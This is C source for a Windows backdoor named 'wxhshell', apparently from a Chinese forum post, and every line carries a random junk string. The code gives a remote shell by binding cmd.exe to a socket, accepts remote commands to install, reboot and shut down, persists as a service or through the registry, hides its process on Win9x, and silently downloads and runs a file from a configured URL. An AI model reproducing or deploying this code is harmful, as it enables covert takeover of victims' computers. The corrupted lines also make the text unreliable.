  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @fpxGMy&  
  } cQPH le2  
  else { 'q*1HNwGp  
7k3":2 :  
    switch(cmd[0]) { q0y?$XS  
  /KKX;L[D(  
  // 帮助 v *:m|wl  
  case '?': { TF^]^XS'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3iWLo Qm  
    break; t9pPG{1  
  } nbpN+a%  
  // 安装 7<.f&1MgI  
  case 'i': { =GR Em5  
    if(Install()) ,75,~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!iB -?'u  
    else kd\yHI9A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mdwh-Cis/  
    break; lQ+-g#`  
    } >5 5/@+^  
  // 卸载 Q)a*bPz  
  case 'r': { *pasI.2s#  
    if(Uninstall()) iCx'`^HnP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q}2w~Cn\S  
    else vJq`l3&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T  |j^  
    break; >8NQ8i=]V1  
    } 5. l&nt'  
  // 显示 wxhshell 所在路径 q>omCk%h  
  case 'p': { FpRK^MEkG  
    char svExeFile[MAX_PATH]; #3CA  
    strcpy(svExeFile,"\n\r"); hV8A<VT  
      strcat(svExeFile,ExeFile); Pq4sv`q)S  
        send(wsh,svExeFile,strlen(svExeFile),0); 98O z  
    break; Vr0RdO  
    } rWvJ{-%  
  // 重启 Tf0#+6 1>  
  case 'b': { HRw,D=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $9J"r9@@  
    if(Boot(REBOOT)) Y0hL_46>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{GbOI.  
    else { cL WM]\Y  
    closesocket(wsh); 9Pb0Olh  
    ExitThread(0); vOP[ND=T  
    } zR<jZwo]#  
    break; :e9E#o  
    } L"b5P2{c  
  // 关机 Y.C*|p#  
  case 'd': { LQQhn{[D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }M~AkJL  
    if(Boot(SHUTDOWN)) (?3( =+t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?NwFpSB2  
    else { Q%>,5(_V]  
    closesocket(wsh); r-V./M@L  
    ExitThread(0); l;;:3:  
    } W.CIyGK  
    break; >3Y&jsh<  
    } (p2a{v}fEz  
  // 获取shell w\QpQ~OX  
  case 's': { [,e_2<   
    CmdShell(wsh); 4i19HD_  
    closesocket(wsh); 5y~[2jB:  
    ExitThread(0); +<|w|c  
    break; B=p'2lla  
  } ><DE1tG  
  // 退出 a[JgR/E@x  
  case 'x': { u@|yw)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #\M<6n{  
    CloseIt(wsh); EagI)W!s[  
    break; Fq3;7Cq=hD  
    } $H 9xM  
  // 离开 C/$IF M<  
  case 'q': { L@ay4,e.bz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l{3utQH-=z  
    closesocket(wsh); jW*A(bK8:  
    WSACleanup(); 4q~E\l|.5  
    exit(1); &Y&zUfA  
    break; r9U1O@c  
        } 9PBmBP ~  
  } qjFgy)qV  
  } Yk5kC 0B  
lV 1|\~?4  
  // 提示信息 MWuVV=rd8a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0'<S7?~|  
} _96&P7  
  } JSL 3.J  
&0"`\~lA  
  return; +(<f(]bG  
} *Zvw&y*  
R}]FIu  
// shell模块句柄 K XGs'D  
int CmdShell(SOCKET sock) c2U>89LlZ  
{ ZA P+jX;  
STARTUPINFO si; 1Li@O[%X<  
ZeroMemory(&si,sizeof(si)); p)ONw"sb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~DD/\V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,yF)7fN  
PROCESS_INFORMATION ProcessInfo; ~:@H6Ke[  
char cmdline[]="cmd"; tEUmED0FY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VuY.})+J:  
  return 0; kmS8>O  
} )eFK@goGeb  
eOb`uyi  
// 自身启动模式 F~Li.qF  
int StartFromService(void) Y:a(y*y<  
{ ^#4s/mdVO  
typedef struct x0d+cSw  
{ 'tbb"MEi4  
  DWORD ExitStatus; 76m[o  
  DWORD PebBaseAddress; YJy*OS_&  
  DWORD AffinityMask; HT&0i,`  
  DWORD BasePriority; zxh"@j$?  
  ULONG UniqueProcessId; = `^jz}  
  ULONG InheritedFromUniqueProcessId; jmFN*VIL  
}   PROCESS_BASIC_INFORMATION; ,jn?s^X6Dj  
L`#+ZLo  
PROCNTQSIP NtQueryInformationProcess; kpdFb7>|  
^ WNJQg'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A=$oYBB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W)#`4a^xj7  
5c"kLq6r  
  HANDLE             hProcess; E;qwoTmul  
  PROCESS_BASIC_INFORMATION pbi; 1bBK1Uw  
JvDsr0]\#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WdT|xf.Q&  
  if(NULL == hInst ) return 0; _(hwU>.  
vf2K2\fn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |(S W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7'|PHQ?S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4(R2V]  
+[ItkfSod!  
  if (!NtQueryInformationProcess) return 0; 2]+.8G7D%  
j1ZFsTFMWp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); asg>TO W  
  if(!hProcess) return 0; |$PLZ,  
US4Um>j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $ZS9CkN  
&f*dFUM]I  
  CloseHandle(hProcess); {#,FlR2  
%\l,X{X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L3AwL)I   
if(hProcess==NULL) return 0; zqh{=&Tjx  
Db=gS=Qm  
HMODULE hMod; gnXjd}  
char procName[255]; V5B-S.i@  
unsigned long cbNeeded; ))`Zv=y"  
9^u?v`!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qN@a<row&~  
o!~bR  
  CloseHandle(hProcess); to3J@:V8e  
>|?T|  
if(strstr(procName,"services")) return 1; // 以服务启动 [R4x[36Zp  
Wv"tAseu  
  return 0; // 注册表启动 x1wxB 1)2  
} 2?QJh2  
Q$1K{14I  
// 主模块 PAHlj,n)  
int StartWxhshell(LPSTR lpCmdLine) 0Mg8{  
{ F :S,{&jB  
  SOCKET wsl; >K :"[?  
BOOL val=TRUE; "NU".q  
  int port=0; ?N*0 S'dY  
  struct sockaddr_in door; QCR-lxO1  
!9, pX  
  if(wscfg.ws_autoins) Install(); $VWzv4^:  
0>iFXw:fn  
port=atoi(lpCmdLine); 3J T3;O  
h '[vB^  
if(port<=0) port=wscfg.ws_port; ]ufW61W6Ci  
bSf(DSqx  
  WSADATA data; %v[ Kk-d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1v&Fo2ML  
?Z>.G{Wm@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "!tw ,Gp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6[.Mx}h6  
  door.sin_family = AF_INET; A+I&.\QAR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J\3} il N  
  door.sin_port = htons(port); #[y<h3f]  
N}fUBX4k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,:4DN&<  
closesocket(wsl); t1jlxK  
return 1; ht)nx,e=  
} m>ycN  
n=? 0g;1!  
  if(listen(wsl,2) == INVALID_SOCKET) { P]"d eB|  
closesocket(wsl); P/Kit?kngS  
return 1; hFMst%:y$  
} </gp3WQ.  
  Wxhshell(wsl); AwU c{h l<  
  WSACleanup(); \oX8/-0f  
R:<@+z^A[  
return 0; _-]!;0E IV  
*W12Rb2  
} o^Ysp&#p  
v Q"s  
// 以NT服务方式启动 `8;,&<U'`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hF"g 91P  
{ QO{=Wi-  
DWORD   status = 0; V wVQ|UH  
  DWORD   specificError = 0xfffffff; PgLS\_B  
{|Ki^8h/p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ShJK&70O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cEc,eq|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F,M"/hnPT  
  serviceStatus.dwWin32ExitCode     = 0; P4j8`}&/  
  serviceStatus.dwServiceSpecificExitCode = 0; W[E3P,XS  
  serviceStatus.dwCheckPoint       = 0; xwnoZ&h  
  serviceStatus.dwWaitHint       = 0; :KSor}t  
JhCkkw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N4 mJU'_{  
  if (hServiceStatusHandle==0) return; s;2/Nc   
~59`S#ax/l  
status = GetLastError(); M+;P?|a  
  if (status!=NO_ERROR) ej%;%`C-  
{ yW^IN8fm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {R-82%X  
    serviceStatus.dwCheckPoint       = 0; ZQ~myqx,+L  
    serviceStatus.dwWaitHint       = 0; [W$Z60?RR  
    serviceStatus.dwWin32ExitCode     = status; Hp}  
    serviceStatus.dwServiceSpecificExitCode = specificError; RP,:[}mPl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H [Lt%:r  
    return; ouVjZF@kS  
  } ; ,=h59`  
F|?'9s*;6G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :e]9T3Q  
  serviceStatus.dwCheckPoint       = 0; pp]_/46nN  
  serviceStatus.dwWaitHint       = 0; +K%pxuVh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pzq; vMr  
} {HHh.K  
r1oku0o  
// 处理NT服务事件,比如:启动、停止 $54=gRo^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <D!c ~*[  
{ /3Nb  
switch(fdwControl) Pc)VK>.fc  
{ U2V^T'Y[  
case SERVICE_CONTROL_STOP: g[s\~MF@s  
  serviceStatus.dwWin32ExitCode = 0; Z-SwJtWk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *SkiFEoD  
  serviceStatus.dwCheckPoint   = 0; j\'+wVyo  
  serviceStatus.dwWaitHint     = 0; p x|>v8  
  { 1Vf78n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oY%"2PW1B  
  } a1G9wC:e  
  return; *i?rJH  
case SERVICE_CONTROL_PAUSE: |vfujzRZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +z|UpI  
  break; 3gG+`{<  
case SERVICE_CONTROL_CONTINUE: "65||[=8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *:9 >W$0u  
  break; H 5U x.]y  
case SERVICE_CONTROL_INTERROGATE: .vN%UNu  
  break; 2K]IlsMO&  
}; Y:%m;b$]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); drENkS=,  
} |,;twj[?4  
b+IOh|  
// 标准应用程序主函数 3zB|!p C6s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7k[pvd|L  
{ 9$o<  
EK?@Z.q+  
// 获取操作系统版本 G; C8Kde  
OsIsNt=GetOsVer(); {jOzap|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T+;H#&  
K[uY+!'1  
  // 从命令行安装 @%OPy|=,{  
  if(strpbrk(lpCmdLine,"iI")) Install(); & =73D1A  
X<~k =qwA  
  // 下载执行文件 7-".!M  
if(wscfg.ws_downexe) { 6[*;M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4[TS4p  
  WinExec(wscfg.ws_filenam,SW_HIDE); VyecTU"W  
} C5es2!^-]O  
"H>r-cyh  
if(!OsIsNt) { jq57C}X}2  
// 如果时win9x,隐藏进程并且设置为注册表启动 E3S%s  
HideProc(); |5=~(-I>@  
StartWxhshell(lpCmdLine); nAo8uWG  
} d"B@c;dD  
else J}Qs"+x  
  if(StartFromService()) s~=KhP~  
  // 以服务方式启动 @s%X  
  StartServiceCtrlDispatcher(DispatchTable); i}PK $sa#c  
else ?}'N_n ys  
  // 普通方式启动 J?UA:u  
  StartWxhshell(lpCmdLine); W/ g|{t[  
e9CP802#2  
return 0; ^W Y8-6  
}
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只看该作者 1 发表于: 2006-10-10
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